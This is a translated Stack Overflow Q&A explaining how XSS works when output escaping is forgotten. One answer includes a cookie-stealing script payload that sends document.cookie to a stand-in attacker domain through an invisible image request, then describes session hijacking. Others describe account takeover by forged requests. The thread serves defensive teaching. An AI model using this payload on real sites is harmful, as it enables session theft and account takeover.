XSS攻击如何真正起作用?

时间:2010-07-29 15:51:44

标签: php xss

因此,防止网站遭受XSS攻击非常简单,您只需使用htmlspecialchars功能就可以了。 但如果开发人员忘记使用它,攻击者/黑客可以做些什么呢?他可以得到你的session_id,对吗?这是一个问题。他能做些什么呢? 非常感谢你。

5 个答案:

答案 0 :(得分:9)

  

因此,防止网站遭受XSS攻击非常简单,你只需要使用htmlspecialchars功能就可以了。

右。当您要重新显示用户控制的输入时,可以在任何地方使用它。这涉及HTTP请求的所有部分:标题,正文和参数。

  

但如果开发人员忘记使用它,那么攻击者/黑客可以做些什么呢?

他/她可以插入一些恶意HTML /脚本。例如。以下是网页上的一些消息/评论:

<script>document.write('<img src="http://hackersdomain.com/fake.gif?' + escape(document.cookie) + '" width=0 height=0>');</script>

以上内容将请求来自mailicious域的图像以及文档cookie作为查询字符串。

  

他可以得到你的session_id,对吗?这是一个问题。他能做些什么呢?

会话ID存储在cookie中。一旦黑客被告知已经使用查询字符串中的cookie请求了图像,他/她只需要编辑浏览器的cookie以包含相同的会话ID以便以原始用户身份登录。如果原始用户是站点管理员,这显然是非常危险的。

答案 1 :(得分:6)

这是我遇到过的最简单的XSS解释:Flash Animation Example

这是Second Video

答案 2 :(得分:1)

攻击者A通过A精心构建的URI,使用B的凭据获得成员B访问站点C.

然后,A可以使用B的凭据在C上运行他们喜欢的任何JS。

这允许他们:

  • 向B提出他们喜欢的任何信息,就好像它来自C
  • 让B的浏览器将他们想要的任何信息从C发送到A.
    • 帐户详情
    • 私人信息
  • 将任何指令发送到网站C,就好像它来自A一样
    • 发布此垃圾邮件
    • 将资金转入此帐户
    • 购买这本非常昂贵的电子书

答案 3 :(得分:0)

答案 4 :(得分:0)

如果您的网站上有XSS漏洞,则黑客可以在页面中插入任何HTML,包括<script>标记。如果我登录到您的网站并访问受攻击的页面,我的浏览器将运行黑客插入的JavaScript,并让我的浏览器执行黑客的任何操作。

例如向您的服务器发送POST请求以更改我的密码,然后从黑客的服务器加载URL以通知他我的帐号,以便他可以登录并窃取我的帐户。